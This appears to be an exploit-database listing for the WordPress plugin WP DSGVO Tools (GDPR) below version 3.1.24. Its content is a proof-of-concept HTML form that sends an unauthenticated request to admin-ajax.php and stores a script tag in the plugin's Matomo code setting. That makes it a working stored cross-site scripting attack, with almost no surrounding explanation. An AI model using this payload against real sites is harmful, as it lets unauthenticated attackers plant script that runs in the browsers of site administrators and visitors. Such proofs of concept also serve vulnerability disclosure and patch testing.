Exploit for WP DSGVO Tools (GDPR) < 3.1.24 - Unauthenticated Plugin's Settings Update to Stored Cross-Site Scripting

Name: Exploit for WP DSGVO Tools (GDPR) < 3.1.24 - Unauthenticated Plugin's Settings Update to Stored Cross-Site Scripting
Rating: 5 (94 reviews)

2021-09-24 | CVSS 0.0

## https://sploitus.com/exploit?id=WPEX-ID:8C181304-42A1-464D-B59D-B46DAAD3F096
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="SPDSGVO-integration-matomo" />
<input type="hidden" name="matomo_implementationMode" value="on-premises" />
<input type="hidden" name="matomo_enable" value="1" />
<input type="hidden" name="matomo_code" value="<script>alert(/XSS/);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>